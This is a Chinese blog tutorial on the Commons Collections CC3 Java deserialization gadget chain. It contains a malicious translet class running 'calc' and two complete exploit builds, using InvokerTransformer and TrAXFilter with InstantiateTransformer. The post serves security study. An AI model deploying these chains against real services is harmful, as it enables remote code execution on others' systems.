java反序列化学习-CC3

1. CC3 的基本介绍

在 CC1 和 CC6 攻击链中,我们利用的是​​命令执行​​机制进行攻击。与之不同,CC3 引入了一种新的攻击途径:它通过​​动态加载恶意类​​来实现​​代码执行​​。

2. CC3 的调用链

3 CC3 基于 InvokerTransformer 的实现

首先需要理解动态类加载的核心流程。在 Java 中,类加载主要由 ClassLoader 及其子类负责。标准的入口点是 ClassLoader.loadClass() 方法。加载过程涉及以下关键方法。

(继承关系)ClassLoader ->SecureClassLoader->URLClassLoader->AppClassLoader
ClassLoader.loadClass(不进行初始化) - > ClassLoader.findClass(重写) - > ClassLoader.defineClass(字节码加载类)

其中,defineClass方法是整个链条的​​核心转换器​​。它负责接收类文件的原始字节码(通常是 byte[] 形式),并执行必要的处理(如解析、验证),最终在 JVM 中生成一个有效的 Class 对象。​​因此,defineClass 是将字节流转化为可执行 Java 类的关键步骤。​​
CC3 攻击链的构建正是基于操控这个类加载过程。然而,ClassLoader.defineClass() 方法本身是 protected 的,这意味着它不能由外部类直接调用。​​所以 CC3 的关键在于:找到一个在 ClassLoader 继承链中、对其 defineClass 方法进行重写或封装后能提供 public 访问权限的特定类或方法。​​ 我们需要利用这个公开的“窗口”将精心构造的恶意字节码传递给 defineClass 以加载恶意类。但仅加载还不够,我们还需要进一步触发该类的​​初始化过程​​,才能执行其静态代码块或构造器中的恶意代码。
最终在 com.sun.org.apache.xalan.internal.xsltc.trax下的TemplatesImpl.TransletClassLoader发现了其重写了defineclass

因为没有public,所以外界是无法直接调用的,继续寻找该方法在类哪里进行了调用,然后找到了这defineTransletClassesprivate类。

继续跟踪,发现同类下的defineTransletClasses()方法调用了此方法,此时看哪里调用了defineTransletClasses,这里出现了三个方法

逐个查看方法,发现第三个方法对_class[_transletIndex]进行了newInstance()操作,如果我们可以控制这个_class[_transletIndex]为恶意类,然后让它进行实例化,此时就可以触发恶意类中的恶意代码。

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

但这个是private方法,所以我们继续寻找谁调用了它,这里跟进到了同类下的newTransformer方法。

下面是这条链中关键的几段代码.
这里如果_name == null就会直接return_class == null为空才会进入defineTransletClasses,所以我们要让_name不为空,_class为空。

在类中寻找这两个变量,都为private,所以我们只能通过反射来进行更改属性值。

defineTransletClasses里的这部分代码,为_class赋值,并通过defineClass加载_bytecodes[i],并且判断当前加载的类的父类是否为ABSTRACT_TRANSLET,并为_transletIndex赋值。如果我们能控制_class[_transletIndex]变为我们的恶意代码,便可以AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();在这里触发我们的恶意代码。

为了触发这段链,我们需要一个恶意类,且需要是ABSTRACT_TRANSLET的子类,下面是该恶意类的代码。写完后通过javac将他编译放到路径下,供后面代码加载。

public class test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

defineTransletClasses的加载类前有该段代码,如果_tfactory为空的话,在运行时会报错,所以我们需要通过反射为其赋值。

我们发现 _bytecodes 是一个二维数组,但接收端期望的输入是一个一维字节码数组。为了利用这一点,我们可以将一个包含恶意代码的一维字节码数组放入 _bytecodes这个二维数组中。这样,在后续的 for 循环遍历_bytecodes时,该一维数组会被遍历出来,并被赋值给 defineClass 进行加载。这个操作会导致_class 数组(通常由 defineClass 加载的结果填充)仅包含一个元素。由于 _class只有一个元素,_transletIndex 的值就会被固定为 0(索引从 0 开始)。最终,在执行 _class[_transletIndex].newInstance() 时,程序将确定性地实例化我们预先植入的恶意类。

了解上面问题后,我们开始编写代码,代码如下所示。

emplatesImpl templates = new TemplatesImpl();
        Class cls = templates.getClass();
        //调用反射修改name的值
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qwq");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        //调用反射修改_tfactory的值
        Field tfactoryfield = cls.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();

接下来的问题就来到了怎么触发templates.newTransformer(),此时可以同CC1,利用InvokeTransform,具体如下。

TemplatesImpl templates = new TemplatesImpl();
        //调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qwq");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactoryfield = cls.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates,new TransformerFactoryImpl());
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        });
        HashMap hashMap = new HashMap();
        hashMap.put("value","v");
        Map<Object,Object> transformMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class annotationInvocationHandler =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class,transformMap);
        serialize(o);
        unserialize("ser.bin");

3. CC3 基于 TrAXFilter 的实现

该方法是在 InvokerTransformer 类被禁用后,研究人员发现的另一种命令执行方式。通过分析,他们成功定位到一个可以直接调用 TemplatesImpl 类中 newTransformer() 方法的替代类,从而绕过了原有的安全限制。

这里不难发现可以通过构造函数来控制templates的值,因此接下来需要寻找能够调用该构造函数的触发点。由于后续transform方法的参数值无法直接控制,所以仍需通过chainedTransformer类中的transform方法链来实现。具体步骤如下:

首先传入TrAXFilter.class作为初始参数
然后通过某个特定类的transform方法
该方法将对上述类及其构造方法进行调用
将构造好的TemplatesImpl Templates = new TemplatesImpl()实例作为参数传入
最终触发TrAXFliter构造方法中的Templates.newInstance()调用链
经过分析,发现InstantiateTransformer类正好满足这个调用需求,可以完美衔接整个利用链。

可以看到他的 transform方法会执行输入的构造方法。

查看构造函数的参数在哪里控制,发现可以直接通过构造方法直接初始化。

所以只需要将chainedTransformer的数组改为调用这个就可以完成这条构造链,以下是完整代码。

TemplatesImpl templates = new TemplatesImpl();
        //调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qwq");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactoryfield = cls.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates,new TransformerFactoryImpl());
//        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
//                new ConstantTransformer(templates),
//                new InvokerTransformer("newTransformer", null, null)
//        });
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });
        HashMap hashMap = new HashMap();
        hashMap.put("value","v");
        Map<Object,Object> transformMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class annotationInvocationHandler =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class,transformMap);
        serialize(o);
        unserialize("ser.bin");
posted @ 2025-06-13 03:06  nago  阅读(34)  评论(0)    收藏  举报